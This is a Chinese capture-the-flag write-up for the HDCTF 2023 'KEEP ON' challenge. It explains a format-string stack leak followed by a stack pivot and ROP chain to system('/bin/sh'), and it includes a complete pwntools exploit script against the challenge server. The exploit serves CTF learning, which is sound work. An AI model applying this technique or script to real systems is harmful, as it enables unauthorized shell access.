栈迁移([HDCTF 2023]KEEP ON)

栈迁移

[HDCTF 2023KEEP ON | NSSCTF](https://www.nssctf.cn/problem/3774)

  1. 题目给了一个格式化字符串的漏洞,和一个栈溢出漏洞,但是栈溢出的位置有限,只能溢出到返回值的位置,这样构造的ROP链不能完全写入到栈上,需要进行栈迁移:

  2. 确定栈迁移的目标位置:输入数组s的首地址,首先利用而格式化字符串泄漏bp寄存器指向的栈上的数据(是函数调用者即vuln的栈低指针),根据该值可以确定与s首地址的偏移x,从而用 泄漏的数据-x 来覆盖bp处的值, 泄漏的数据-x 处即为新的栈空间。

    • 调试确定 格式化字符串泄漏数据的位置bp处值与s的偏移量 ,可以看到bp寄存器指向的位置在输出字符串中的 第16个 ,s的首地址(0x7fffffffddb0)与泄漏的值(0x7fffffffde10)之间的距离相差 0x60

  3. EXP,其中 target+40 是我们输入字符串 b'/bin/sh' 的地址,要放在 pop_rdi_ret 传参:

    python 复制代码
    from pwn import *    
    context(os='linux', arch='amd64', log_level='debug')
    p=remote('node4.anna.nssctf.cn',28697)
    
    #ROPgadget获取一些必要指令的地址
    leave_ret = 0x4007f2	#栈迁移使用
    pop_rdi_ret = 0x4008d3	#传参使用
    ret_addr = 0x4005b9		#栈平衡使用
    sys_addr = 0x4005E0		#挟制ip使用
    p.recvuntil(b'please show me your name: \n')
    
    #泄漏地址
    payload = b'%16$p'
    p.sendline(payload)
    p.recvuntil(b'hello,')
    target = eval(p.recv(14).decode())
    print(hex(target))
    p.recvuntil(b'keep on !\n')
    
    #计算栈迁移后的首地址
    target = target - 0x60
    payload = (b'aaaaaaaa'+p64(ret_addr)+p64(pop_rdi_ret)+p64(target+40)+p64(sys_addr)+b'/bin/sh').ljust(0x50,b'\x00')+p64(target)+p64(leave_ret)
    p.sendline(payload)
    p.sendline(b'cat flag.txt')
    p.interactive()
相关推荐
殷忆枫25 分钟前
AI笔记三十七:AI边缘端道桥安全监测系统:YOLOv8n推理与Web监控全解析
笔记·yolo
逸模1 小时前
轻加盟模式,稳住品牌统一调性的思路
笔记·建模·公装·翻模·交底
whyTeaFo2 小时前
GAMES101: Lecture 10: Geometry 1 (Introduction) ppt笔记
笔记
sulikey2 小时前
个人Linux操作系统学习笔记11 - 环境变量
linux·笔记·学习
依然范特东3 小时前
强化学习笔记2--bellman equation
人工智能·笔记
乐观勇敢坚强的老彭4 小时前
信奥C++一维数组笔记
开发语言·c++·笔记
昕光xg4 小时前
Istio笔记04-基于Jaeger的分布式链路追踪
笔记·分布式·istio
学计算机的计算基5 小时前
操作系统内存管理全解:虚拟内存、页表、COW、malloc、OOM一篇搞定
java·笔记·算法
AOwhisky5 小时前
Python 学习笔记(第五期)——组合数据类型:列表、元组、集合与字典精讲——核心知识点自测与详解
开发语言·笔记·python·学习·云计算
砚凝霜5 小时前
软考网络工程师|第 2 章 信道延迟、传输介质、数据编码、数字调制、PCM 完整备考笔记
网络·笔记·pcm